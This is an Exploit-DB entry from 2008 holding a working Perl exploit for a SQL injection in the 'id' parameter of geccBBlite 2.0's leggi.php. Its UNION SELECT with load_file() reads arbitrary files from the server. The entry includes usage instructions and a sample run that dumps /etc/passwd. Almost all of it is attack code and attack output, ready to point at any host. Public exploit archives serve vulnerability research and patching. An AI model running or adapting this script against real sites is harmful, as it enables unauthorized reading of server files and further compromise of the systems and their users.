Exploit-DB #6677
Description: geccBBlite 2.0 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-05
Author: Piker

Exploit:
#!/usr/bin/perl
################################
##    Coded by Piker [piker(dot)ther00t(at)gmail(dot)com]
##      D.O.M Team
## piker,ka0x,an0de,xarnuz
## 2008 Security Researchers
################################
##
## geccBBlite Forums SQL Injection Exploit
##
##   This exploit tries to read an
##   arbitrary file.
##
################################

# piker@domlabs:~/advisories$ perl geccBB.pl http://localhost/geccBB /etc/passwd
#[+] Prefix: geccBB_
#[+] File HEX: 0x2f6574632f[PII_REDACTED]64
#[+] Host: http://localhost/geccBB/
#[+] File content:
#daemon:x:1:1:daemon:/usr/sbin:/bin/shbin:x:2:2:bin:/bin:/bin/shsys:x:3:3:sys:/dev:/bin/shsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/#bin/shman:x:6:12:man:/var/cache/man:/bin/shlp:x:7:7:lp:/var/spool/lpd:/bin/shmail:x:8:8:mail:/var/mail:/bin/shnews:x:9:9:news:/var/spool/news:/bin/#shuucp:x:10:10:uucp:/var/spool/uucp:/bin/shproxy:x:13:13:proxy:/bin:/bin/shwww-data:x:33:33:www-data:/var/www:/bin/shbackup:x:34:34:backup:/var/backups:/#bin/shlist:x:38:38:Mailing List Manager:/var/list:/bin/shirc:x:39:39:ircd:/var/run/ircd:/bin/shgnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/#gnats:/bin/shnobody:x:65534:65534:nobody:/nonexistent:/bin/shdhcp:x:100:101::/nonexistent:/bin/falsesyslog:x:101:102::/home/syslog:/bin/#falseklog:x:102:103::/home/klog:/bin/falsemessagebus:x:103:109::/var/run/dbus:/bin/falsehplip:x:104:7:HPLIP system user,,,:/var/run/hplip:/bin/falseavahi-#autoipd:x:105:113:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/falseavahi:x:106:114:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/#falsehaldaemon:x:107:116:Hardware abstraction layer,,,:/home/haldaemon:/bin/falsegdm:x:108:118:Gnome Display Manager:/var/lib/gdm:/bin/#falsepiker:x:1000:1000:piker,,,,:/home/piker:/bin/bashlibuuid:x:109:120::/var/lib/libuuid:/bin/shpulse:x:110:121:PulseAudio daemon,,,:/var/run/pulse:/bin/#falsepolkituser:x:111:125:PolicyKit,,,:/var/run/PolicyKit:/bin/falsemysql:x:112:127:MySQL Server,,,:/var/lib/mysql:/bin/falseuml-net:x:113:129::/home/uml-#net:/bin/falsesshd:x:114:65534::/var/run/sshd:/usr/sbin/#nologinpostfix:x:115:130::/var/spool/postfix:/bin/false
#[+] EOF
#
#


use LWP::UserAgent;

open(FILE, ">&STDOUT");

my $host = $ARGV[0];
my $file = $ARGV[1];
my $prefix = "geccBB_";
if (length($ARGV[2]) > 0){ $prefix = $ARGV[2]; }

die &_USO unless $ARGV[1];

sub _USO
{
    die "
    geccBBlite Forums SQL Injection Exploit

    This exploit tries to read an
    arbitrary file.
   
    usage: ./$0 <host> <file_you_want> [prefix: default geccBB_]
    ex: ./$0 http://localhost/geccBB/ /etc/passwd

    ";
}

my $ua = LWP::UserAgent->new() or die;
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/[PII_REDACTED] Firefox/3.0.1");

my $tmp="0x";
my $tmp2;

print FILE "[+] Prefix: ".$prefix."\n";

foreach my $c (split(//, $file)){
    $tmp2 = sprintf ("%x", ord($c));
    $tmp .= $tmp2;
}

print FILE "[+] File HEX: ".$tmp."\n";

if ($host !~ /\/$/){ $host .= "/"; }

print FILE "[+] Host: ".$host."\n";

my $req = HTTP::Request->new(GET => $host."leggi.php?id=-1 union all select 1,2,3,CONCAT(0x3c46494c453e,load_file(".$tmp."),0x3c46494c453e),5,6 from ".$prefix."forum");
my $res = $ua->request($req);
my $con = $res->content;

my $ok = 0;

if ($res->is_success){
    foreach my $linea (split(/\n/, $con)){
        if($ok == 1){
            if ($linea !~ /<FILE>/){
                print FILE $linea;
            }else{
                print FILE "\n[+] EOF\n";
                goto salida;
            }
        }
        if($linea =~ /<FILE>/i && $ok == 0){
            $ok = 1;
            print FILE "[+] File content: \n";
        }
    }
    salida:
    if ($ok == 0){
        print FILE "[-] Exploit Failed!";
    }       
}
else{
    print FILE "[-] Exploit Failed!";
}

#EOF

# milw0rm.com [2008-10-05]